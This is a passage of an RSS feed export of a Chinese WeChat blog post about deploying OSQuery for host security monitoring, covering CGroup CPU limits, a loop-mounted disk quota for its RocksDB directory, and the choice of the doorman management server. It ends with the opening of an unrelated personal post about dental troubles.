border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nodev</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">noexec</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">relatime</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cpuacct</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cpu</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cgroup on </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">sys</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">fs</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cgroup</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cpuset type cgroup </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rw</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nosuid</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nodev</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">noexec</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">relatime</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cpuset</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">直接在 /sys/fs/cgroup/cpu 目录下新建文件夹，即可添加相应的规则。比如添加单核 20% CPU的限制规则：</p><p style="text-align: center;"><img class="rich_pages" data-copyright="0" data-ratio="0.3078125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=26857e32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQnDic1ia1Ff6LVydjXCndgoLNIicPI8iaEiblEJQ40n9coZPqpHzia1ASEOKmpML5RbtImlDf4GbUR6g0cw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">将进程的 pid 写入到 cgroup.procs 后，即可实现对进程及其所有子进程的 CPU 限制。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">当然实际使用的方式会更优雅，CentOS7 systemd 提供了对 CGroup 的支持，有需求的盆友可以自行搜索一下~</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">对磁盘的限制，主要是针对 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/var/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">log</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">osquery</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">db</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span></code> 目录，也就是 RocksDB 的数据目录进行限制。目前对进程的磁盘占用，并没有很好的解决方案，只能通过挂载磁盘的方式间接实现。</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 生成十个100M的文件</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dd </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/dev/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">zero of</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">disk</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img bs</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100M</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> count</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">10</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 把生成的文件虚拟为块设备</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">losetup </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dev</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">loop0 disk</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 格式化设备</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">mkfs</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ext4 </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dev</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">loop0</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">mkdir </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">osquery</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 挂载</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">mount disk</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">osquery</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 卸载</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">umount testdit</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 卸载loop设备与文件的关联</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">losetup </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">d </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dev</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">loop0</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">这种方式的缺点是单独挂载的磁盘空间只能由 OSQuery 使用，即无论日志是 1M 还是 10M，都相当于占用了机器 1G 的空间。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">是否实施磁盘限制的方案，需要根据业务的实际情况再做判断。</p><h3 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">0x04 Server</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">Agent 搞定后，就涉及到了“如何更新配置文件”的问题。OSQuery支持两种模式：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">本地读取，以json形式存在文件中即可</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">远端读取，通过 https 协议拉取配置</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">第一种方案，修改完 json 文件后，需要重启 OSQuery 进程才能读取到最新的配置。第二种方案的话，可以做到热更新，准实时读取/更新配置文件（拉取间隔时间可以配置），甚至可以对机器进行分组，分发不同的规则。~~这么牛逼的功能，不用是傻子。~~</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">之前也提到了，OSQuery 本身只是个 Agent，FaceBook 没有开源自己 Server 端的代码。官方文档中提供了几个第三方开发者开源的 Server:</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">windmill by Ruby</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">doorman by Python Flask</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">zentral by Python Django</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">fleet by GoLang</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">其中，windmill 开发者删除了自己的项目(还好没用).....</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">zentral 是一个大型的监控软件，功能很多很乱，以至于我竟然没看懂它到底怎么用。fleet是长得最好看的，还提供了在线版的预览，对测试使用非常友好。doorman页面非常朴素，功能丰富，技术栈也非常匹配（python flask），最终选择了它。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">具体的安装配置可以参考：INSTALL/SETUP DOORMAN + OSQUERY ON WINDOWS, MAC OSX, AND LINUX DEPLOYMENT</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">Doorman 主要功能包括：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">通过tag管理机器（分组），一台机器可以对应多个tag</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">可以查看单个节点的概况，包括注册时间、执行的语句等</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">提供告警编辑页面，可以编辑告警规则</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">日志也可以通过 tls 进行收集，默认存储在 Postgres，也可以存到 ES 里</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">提供管理页面授权登录</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">实时下发单次执行的语句，并提供页面展示结果。</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">但是，doorman本身的设计算不上非常优秀。当 Agent 到达一定量之后，很可能出现并发量的瓶颈。重构/重写，就看各位大爷的心情了。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;"><br/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;text-align: start;">第一篇完结，第二篇会分享一些规则及后端数据分析的内容，敬请期待~~ 
更多问题，欢迎微博私信联系 @吃瓜群众-Fr1day。</p><p><br/></p>



<p><a href="2247483802">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=86e1c506&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjIxNzkyNQ%3D%3D%26mid%3D2247483802%26idx%3D1%26sn%3Da50e6da53e33f3566a2c5bb586251a47%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 19 Apr 2019 14:32:00 +0800</pubDate>
    </item>
    <item>
      <title>牙齿那些事儿</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjIxNzkyNQ==&amp;mid=2247483793&amp;idx=1&amp;sn=0f156583fce8fea9fc572541ba479729</link>
      <description>近一年来，我的悲惨经历 (ಥ﹏ಥ)</description>
      <content:encoded><![CDATA[<p>
<span>Fr1day</span> <span>2018-06-08 19:28</span> <span style="display: inline-block;"></span>
</p>

<p>近一年来，我的悲惨经历 (ಥ﹏ಥ)</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3846419d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmnFs0p3WUuzEcETe6MHBz1JsiaUOAdlcVDicWliajliaVXsJcS62MnEEGf730U4QIqEugeGVNgc3SSoQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


